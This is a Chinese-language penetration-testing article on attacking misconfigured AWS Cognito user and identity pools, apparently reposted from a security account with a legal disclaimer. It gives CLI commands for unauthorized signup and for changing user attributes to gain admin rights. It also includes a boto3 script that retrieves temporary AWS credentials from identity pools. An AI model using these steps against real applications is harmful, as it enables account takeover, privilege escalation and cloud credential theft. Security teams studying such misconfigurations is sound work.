引言
AWS Cognito 是由亚马逊网络服务(AWS)提供的全托管服务,旨在简化 Web 和移动应用程序的用户认证和授权过程。它提供了一整套功能来处理用户注册、登录和用户管理,免去了开发人员从头构建这些功能的需求。
尽管本文讨论的攻击和配置错误已经有大量文献记载,并且得到了各种资源的关注,但重申它们的重要性仍然至关重要,以强调在 AWS Cognito 部署中确保安全配置和持续监控的重要性。
AWS Cognito 组件
AWS Cognito 提供了两个主要组件:用户池和身份池。
1.用户池: 用户池允许开发人员创建和管理一个可自定义的用户目录,以处理用户注册、登录和账户恢复。用户池支持多种认证方法,包括用户名和密码、社交登录(如 Google 或 Facebook)以及多因素认证(MFA)。用户池还处理用户档案管理,使您可以存储针对应用程序需求的自定义属性。
2.身份池: 身份池,也称为联合身份池,允许用户获取临时的 AWS 凭证以访问 AWS 服务。通过身份池,您可以集成第三方身份提供者(如 Google、Facebook 或您自己的身份系统)来验证用户并授予他们访问 AWS 资源的权限。
💡 快速提示: 如果你发现应用程序中加载了 aws-sdk.min.js 或 amazon-cognito.min.js,那么你应该立即检查是否有 Cognito 参数或硬编码的 AWS 凭证。
常见的 User Pools 攻击
AWS Cognito 用户池的一个关键方面是生成和使用 JSON Web Tokens (JWTs) 来进行认证和授权。
检测 Cognito User Pools 的使用:
要识别是否使用了 Cognito User Pools,可以在应用程序的 JS/HTML 源代码中查找 UserPoolID 或 ClientId。
此外,观察 Web 应用程序发出的对 AWS Cognito 的登录/注册调用。
攻击示例
让我们深入探讨一些常见的攻击向量。
假设一个 Web 服务使用了 Cognito,但没有提供注册选项。
我们可以尝试以下方法:
注册绕过: 攻击者可以尝试通过使用 AWS CLI 绕过常规的应用程序注册流程。通过执行 aws cognito-idp sign-up
命令并提供适当的参数(例如虚假的电子邮件地址和选择的密码),攻击者可以启动注册过程,而无需按照预期的步骤进行。
aws cognito-idp sign-up --client-id '[ClientId]' --username 'mail@hacker.com' --password 's3cr4tP@ss' --user-attributes '[{"Name":"email","Value":"mail@email.com"}]'
确认注册: 在启动注册过程后,攻击者需要确认用户账户。这可以通过使用 aws cognito-idp confirm-sign-up
命令来完成,该命令需要客户端 ID 和在注册过程中使用的用户名/电子邮件,以及确认代码。
aws cognito-idp confirm-sign-up — client-id '[ClientId]' — username 'mail@hacker.com' — confirmation-code '013370'
登录与 JWT 令牌获取: 使用创建的用户账户,攻击者可以启动登录过程以获取 JWT 令牌。通过使用 aws cognito-idp initiate-auth
命令,并提供适当的区域、客户端 ID 和认证参数(用户名和密码),攻击者可以从响应中获取 JWT 令牌。
aws cognito-idp initiate-auth --region YOUR_REGION --client-id YOUR_CLIENT_ID --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=YOUR_USERNAME,PASSWORD=YOUR_PASSWORD
否则,攻击者可以直接将新注册的凭证输入到登录表单中。
操控用户属性: 一旦攻击者拥有有效的 JWT 令牌,他们可以通过操控用户属性来与用户池进行交互。使用 aws cognito-idp update-user-attributes
命令,攻击者可以直接修改诸如电子邮件或应用角色等属性,从而可能赋予自己更高的权限或更改账户信息。
寻找一些有趣的参数,例如“email_verified”、“admin”、“debug_mode”、“is_premium”等。如果没有适当的 Lambda 触发器或权限配置错误,您将能够通过 CLI 更改这些属性。
扩展攻击向量,攻击者可以尝试指定现有用户的电子邮件地址,并改变其大小写(例如 user@test.com[1] 和 UsEr@test.com[2])。如果应用程序在后台登录之前对电子邮件地址进行了规范化,这可能导致未经授权的访问。
要获取用户设置的属性列表,请运行以下命令:
aws cognito-idp get-user --access-token [AccessToken]
然后尝试直接更改属性:
aws cognito-idp update-user-attributes --access-token 'TOKEN' --user-attributes '[{"Name":"email","Value":"any@mail.com"}, {"Name":"role","Value":"admin"}]' --region=us-east-2
常见的 Identity Pools 攻击
检测 Cognito Identity Pools 的使用:
可以在 JS/HTML 源代码中找到 IdentityPoolID。此外,您可能会发现使用 JWT 令牌检索临时 AWS 凭证的引用。
您可以从身份池中检索临时 AWS 凭证。这些凭证随后可以用来访问 AWS 资源。
可以通过 CLI 完成这一操作:
aws cognito-identity get-id --identity-pool-id <identity-pool-id>
aws cognito-identity
get-credentials-for-identity --identity-id <identity-id-from-previous-command>
或使用python脚本:
import boto3region='us-east-1'identity_pool='us-east-1:XXXXXXXXXXXXXXXXXXXXXXXXXX'
client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool)
_id = _id['IdentityId']
credentials = client.get_credentials_for_identity(IdentityId=_id)
access_key = credentials['Credentials']['AccessKeyId']
secret_key = credentials['Credentials']['SecretKey']
session_token = credentials['Credentials']['SessionToken']
identity_id = credentials['IdentityId']
print("Access Key: " + access_key)
print("Secret Key: " + secret_key)
print("Session Token: " + session_token)
print("Identity Id: " + identity_id)
或者,您可以拦截应用程序向 Cognito 发送的请求:
攻击示例
接下来,您可以使用自动化工具或通过 CLI 手动探索 AWS 账户。
无偿获取网络安全优质学习资料与干货教程
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。